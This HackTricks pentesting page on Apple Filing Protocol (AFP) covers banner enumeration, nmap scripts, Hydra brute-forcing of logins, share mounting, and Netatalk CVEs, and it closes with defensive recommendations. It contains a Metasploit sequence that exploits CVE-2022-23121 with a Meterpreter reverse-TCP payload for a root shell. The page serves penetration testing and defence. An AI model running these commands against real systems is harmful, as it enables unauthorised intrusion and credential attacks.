548 - Pentesting Apple Filing Protocol (AFP)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
El Apple Filing Protocol (AFP), anteriormente conocido como AppleTalk Filing Protocol, es un protocolo de red especializado incluido dentro de Apple File Service (AFS). Está diseñado para proporcionar servicios de archivos para macOS y el clásico Mac OS. AFP destaca por soportar nombres de archivo Unicode, permisos estilo POSIX y ACL, resource forks, atributos extendidos con nombre y mecanismos sofisticados de bloqueo de archivos.
Aunque AFP ha sido reemplazado por SMB en las versiones modernas de macOS (SMB es el predeterminado desde OS X 10.9), todavía se encuentra en:
- Entornos heredados de macOS / Mac OS 9
- Appliances NAS (QNAP, Synology, Western Digital, TrueNAS…) que integran el daemon de código abierto Netatalk
- Redes mixtas donde Time-Machine-over-AFP todavía está habilitado
Puerto TCP por defecto: 548 (AFP over TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Enumeración
Información rápida del banner / servidor
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Scripts NSE útiles para AFP:
| Script | Qué hace |
|---|---|
| afp-ls | Lista los volúmenes y archivos AFP disponibles |
| afp-brute | Brute-force de contraseñas contra el login AFP |
| afp-serverinfo | Dump del nombre del servidor, tipo de máquina, versión de AFP, UAMs soportadas, etc. |
| afp-showmount | Lista los shares junto con sus ACLs |
| afp-path-vuln | Detecta (y puede explotar) directory-traversal, CVE-2010-0533 |
El script de brute-force de NSE puede combinarse con Hydra/Medusa si se requiere más control:
hydra -L users.txt -P passwords.txt afp://<IP>
Si ya tienes credenciales, Nmap’s AFP scripts become much more useful porque afp-serverinfo leaks the advertised UAMs (auth methods), mientras que afp-showmount y afp-ls pueden enumerar recursos compartidos accesibles, ACLs y archivos interesantes:
nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>
Presta atención a:
- Machine Type: Netatalk en la salida de
afp-serverinfo, lo que normalmente significa un host NAS/Unix en lugar de la implementación AFP de Apple. - UAMs como
DHX,DHX2,CleartxtoGuest, porque indican directamente las rutas de login alcanzables y si la autenticación legada/debil está habilitada. - Share ACLs de
afp-showmount; los shares world-readable o estilo drop-box a menudo exponen copias de seguridad, archivos.apply metadatos de usuario antes incluso de que montes el volumen.
Interacción con shares
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (usando afpfs-ng ‑ empaquetado en la mayoría de las distros)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Una vez montado, recuerda que los resource-forks clásicos de Mac se almacenan como archivos AppleDouble ocultos ._* – estos suelen contener metadatos interesantes que las herramientas DFIR pasan por alto.
En objetivos con Netatalk, este backend de metadatos también importa para la explotabilidad:
ea = admeans metadata is stored in AppleDouble v2 files /.AppleDoubledirectories.ea = sysorea = sambastores metadata in filesystem extended attributes instead.- En Netatalk 4.2+ la antigua opción
appledoublefue eliminada y el backend se controla únicamente mediante la opciónea.
Desde una perspectiva ofensiva, esto te permite decidir rápidamente si AppleDouble-oriented bugs son más probables de ser alcanzables en el servidor.
Vulnerabilidades comunes & Explotación
Netatalk unauthenticated RCE chain (2022)
Several NAS vendors shipped Netatalk ≤3.1.12. A lack of bounds checking in parse_entries() allows an attacker to craft a malicious AppleDouble header and obtain remote root before authentication (CVSS 9.8 – CVE-2022-23121). A full write-up by NCC Group with PoC exploiting Western-Digital PR4100 is available.
Metasploit (>= 6.3) ships the module exploit/linux/netatalk/parse_entries which delivers the payload via DSI WRITE.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
Si el objetivo ejecuta un firmware afectado de QNAP/Synology, la explotación exitosa proporciona un shell como root.
Netatalk OpenSession heap overflow (2018)
Las versiones antiguas de Netatalk (3.0.0 - 3.1.11) son vulnerables a un out-of-bounds write en el handler DSI OpenSession, lo que permite una unauthenticated code execution (CVE-2018-1160). Un análisis detallado y un PoC fueron publicados por Tenable Research.
Newer Netatalk attack surface (2022-2024)
Los avisos recientes de Netatalk muestran que la superficie de ataque ya no se limita a parse_entries() y al manejo de OpenSession:
- CVE-2022-45188: un archivo
.applespecialmente creado puede desencadenar un heap overflow enafp_getappl; esto es especialmente relevante si puedes escribir archivos en un share y el servidor ejecuta las funciones FCE / notify. - CVE-2023-42464: un bug de type confusion en los Spotlight RPC handlers puede volverse accesible cuando
spotlight = yesestá habilitado enafp.conf(desactivado por defecto). - CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: escrituras one-byte heap out-of-bounds en rutas relacionadas con login corregidas en Netatalk 2.4.1 / 3.1.19 / 3.2.1. Estos bugs son interesantes porque la explotabilidad depende de los UAMs configurados:
uams_clrtxt.so+ PAM-backed ClearTxt login expone la rutaFPLoginExtrelevante para CVE-2024-38439.uams_dhx.so+ PAM-backed DHX login alcanza la ruta vulnerable para CVE-2024-38440.uams_guest.somantiene accesible la ruta de login Guest para CVE-2024-38441.
Esto significa que la salida de afp-serverinfo no es solo datos de fingerprinting; te ayuda a decidir qué login parser está expuesto antes de gastar tiempo en desarrollo de exploits o triage de firmware NAS.
Other notable issues
- CVE-2022-22995 – Symlink redirection leading to arbitrary file write / RCE when AppleDouble v2 is enabled (3.1.0 - 3.1.17).
- CVE-2010-0533 – Directory traversal in Apple Mac OS X 10.6 AFP (detected by
afp-path-vuln.nse). - Multiple memory-safety bugs were fixed again during the 2024 Netatalk releases; if you identify
Netatalkinafp-serverinfo, spend a minute correlating the exposed UAMs / Spotlight / metadata backend with the server version before assuming only the 2018/2022 bugs matter.
Defensive Recommendations
- Disable AFP unless strictly required – use SMB3 or NFS instead.
- If AFP must stay, upgrade Netatalk to ≥ 3.1.18 or 4.x, or apply vendor firmware that back-ports the 2022/2023/2024 patches.
- Enforce Strong UAMs (e.g. DHX2), disable clear-text and guest logins.
- Restrict TCP 548 to trusted subnets and wrap AFP inside a VPN when exposed remotely.
- Periodically scan with
nmap -p 548 --script afp-*in CI/CD to catch rogue / downgraded appliances.
Brute-Force
References
- Netatalk Security Advisory CVE-2022-23121 – “Arbitrary code execution in parse_entries” https://netatalk.io/security/CVE-2022-23121
- Tenable Research – “Exploiting an 18-Year-Old Bug (CVE-2018-1160)” https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
- Netatalk Security Advisories index https://netatalk.io/security.html
- Netatalk 4.2.0 Release Notes https://netatalk.io/4.2/ReleaseNotes4.2.0
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


